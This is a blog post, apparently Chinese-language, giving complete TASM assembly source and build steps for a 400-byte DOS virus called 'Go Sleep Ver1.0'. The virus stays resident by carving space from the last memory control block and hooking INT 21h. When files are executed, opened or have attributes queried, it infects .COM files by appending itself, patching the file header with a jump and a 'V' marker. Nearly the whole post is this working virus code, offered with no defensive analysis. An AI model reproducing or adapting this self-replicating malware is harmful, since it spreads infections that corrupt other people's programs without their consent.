汇编写感染COM文件的病毒

; 在DOS下才有一定的传染能力
;此程序部分应用了32位寄存器
;制作方法如下
;tasm32 dv0;
;tlink   dv0;
;Debug    dv0.exe
;-n dv0.com
;-w
;-q
;最后生成dv0.com病毒程序(总共400字节)
OFF equ Offset
DosMcb    struc ;Dos内存控制链结构(部分)
   Flag    db ? ;'M':next 'Z': last
   Owner   dw ? ;008: system 0000: No use
   Sizes   dw ? ;long/10h
DosMcb    Ends
VirusSize=OFF @@End-OFF @@Start  
.386
.model small
.code
     org 100h ;按COM格式编写
@@Start:   ;病毒引导块  
     pusha    ;保存所有通用寄存器
     mov   ax,4d4dh
     int   21h    ;是否已经驻留内存
     cmp   ax,4d4dh
     jnz   short @@Install ;否,Install    
     mov   ah,2ch
     int   21h    ;得到系统时间
     cmp   cx,22*100h+30 ;(Cmp 时间:22:30)
     jb    short @@ExecOldApp   ;不到22:30不调用显示消息
     call @@DisplayMsg   ;调用表现块
@@ExecOldApp:  
     call @@GetOldAppCode
     OldAppCode dw 20cdh,20cdh ;保存原COM文件头部4字节信息
@@GetOldAppCode:
     pop   si   ;得到OldAppCode的地址
     mov   di,100h    
     cld
     lodsd  
     stosd   ;恢复原COM头部4字节  
     popa    ;恢复所有通用寄存器
     mov   di,100h
     push di
     xor   di,di
     ret    ;去执行原COM程序              
@@Install:  
     mov   ax,ds
     dec   ax ;得到自己的MCB结构段址,它在程序的PSP前
@@ContFindLastMcb:
     mov   es,ax
     cmp   es:[Flag],'Z' ;是最后一块吗?
     jz    short @@FindLastMcb
     add   ax,es:[Sizes]
     inc   ax     ;计算下一个MCB 的段址
     jmp   short @@ContFindLastMcb
@@FindLastMcb:
     sub   es:[Sizes],(VirusSize/10h)+1 ;把最后一块大小减去病毒大小(节数)+1节(1节=10h字节)
     add   ax,es:[Sizes]
     inc   ax   ;计算出病毒在高端RAM的地址
     mov   es,ax
     xor   di,di
     call @@GetVirusBase
@@GetVirusBase:
     pop   si
     sub   si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址
     mov   cx,VirusSize
     cld
     rep   movsb   ;把病毒搬运到高端地址
     mov   ax,es
     sub   ax,10h ;计算出高端病毒的段地址(使病毒偏移对齐)
     push ax
     lea   ax,@@ContInstall
     push ax
     retf         ;跳到高端@@ContInstall继续执行
@@ContInstall:
     push cs
     pop   ds      ;复位数据段
     mov   ax,3521h
     int   21h     ;取Int 21h的中断向量,并保存
     mov   ds:OldInt21Seg,es
     mov   ds:OldInt21Off,bx
     lea   dx,@@NewInt21
     mov   ax,2521h
     int   21h   ;设新的Int 21h处理程序到@@NewInt21处
     popa      
     push ss
     pop   es
     push ss
     pop   ds    ;恢复寄存器原值ss=ds=es=PSP
     push ss    
     mov   di,100h
     push di
     xor   di,di  
     retf      ;跳到原Cs:100h从新执行
@@NewInt21:   ;新Int21 h服务程序(传染块)
     cmp   ax,4d4dh
     jnz   short @@NextHook
     iret      ;是自定义中断,直接返回
@@NextHook:
     cmp   ah,4bh
     jz    short @@MyBeCom
     cmp   ah,43h
     jz    short @@MyBeCom
     cmp   ah,3dh
     jz    short @@MyBeCom    ;截获4b,43,3d号Dos功能
@@JmpOldInt21:
     cli      ; 进入Int21h前,需要关中断!
     JmpFar       db 0eah     ;远跳转指令jmp xxxx:xxxx
     OldInt21Off dw ?
     OldInt21Seg dw ?
@@CallInt21:       ;   模拟Int 21h指令
     pushf
     push cs
     call @@JmpOldInt21
     ret
@@MyBeCom:   ;//ds:dx=File Name
     pusha
     push ds    
     mov   si,dx
     xor   al,al    
@@ContFindExtName:    ;找扩展名
     inc   si
     cmp   [si],al
     jnz   short @@ContFindExtName    
     mov   eax,[si-4]
     or    eax,20202020h   ;转化为小写字母
     cmp   eax,'moc.'   ;是.com文件吗?
     jz   short @@IsComFile    
@@ExitOpt:        
     pop   ds
     popa
     jmp   short @@JmpOldInt21    
@@IsComFile:  
     mov   ax,3d02h
     call @@CallInt21    ;3dh,打开COM文件
     jc    short @@OptComFalse ;失败
     mov   bx,ax
     push cs
     pop   ds             ;复位数据段
     lea   dx,OldAppCode
     mov   cx,4
     mov   ah,3fh
     int   21h           ;读文件首部4字节
     jc    short @@CloseComFile
     mov   si,dx
     cmp   word ptr[si],'ZM' ;是否是EXE文件?
     jz    short @@CloseComFile     ;是就不感染
     cmp   byte ptr[si+3],'V';是否有已感染病毒标志
     jz    short @@CloseComFile     ;是则说明该程序已经被感染了
     mov   ax,4202h
     xor   cx,cx
     xor   dx,dx
     int   21h   ;将文件指针移到文件尾,返回dx:ax=文件长度
     or    dx,dx
     jnz   short @@CloseComFile ;文件太大不感染
     mov   dx,ax
     add   ax,VirusSize
     jc    short @@CloseComFile ;文件太大不感染
     cmp   ax,0fd00h
     ja    short @@CloseComFile ;文件太大不感染
     sub   dx,03   ;计算出Jmp Virus的偏移量
     mov   ds:JmpOffset,dx
     lea   dx,@@Start
     mov   cx,VirusSize
     mov   ah,40h
     int   21h    ;将病毒写到文件尾部
     mov   ax,4200h
     xor   cx,cx
     xor   dx,dx
     int   21h    ;把文件指针移到文件首
     mov   cx,04h
     lea   dx,@@JmpVirus
     mov   ah,40h
     int   21h    ;写Jmp Virus与病毒Flag   4字节到文件首部            
@@CloseComFile:
     mov   ah,3eh
     int   21h    ;关闭文件    
@@OptComFalse:    
     jmp   short @@ExitOpt
@@JmpVirus:    
     JumpNear   db 0e9h ;近转移指令Jmp near xxxx
     JmpOffset dw ?
     VirusFlag db 'V'     ;病毒标志为'V'字符
@@DisplayMsg:
     pop   dx    
     push dx
     add   dx,OFF @@Message-OFF @@ExecOldApp ;计算@@Message的偏移量
     mov   ah,09h
     int   21h     ;显示信息,“夜已深,你该睡觉了!”
     ret
@@Message:
     db    0ah,0dh,07h
     db    'Night is deep,you must go sleep!$'
     db    'Go Sleep Ver1.0 by Whg 2001.4.29'
@@End:  
end @@Start
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: 汇编 蠕虫 病毒 感染 引导区 COM文件
相关日志:
评论: 0 | 引用: 0 | 查看次数: 2750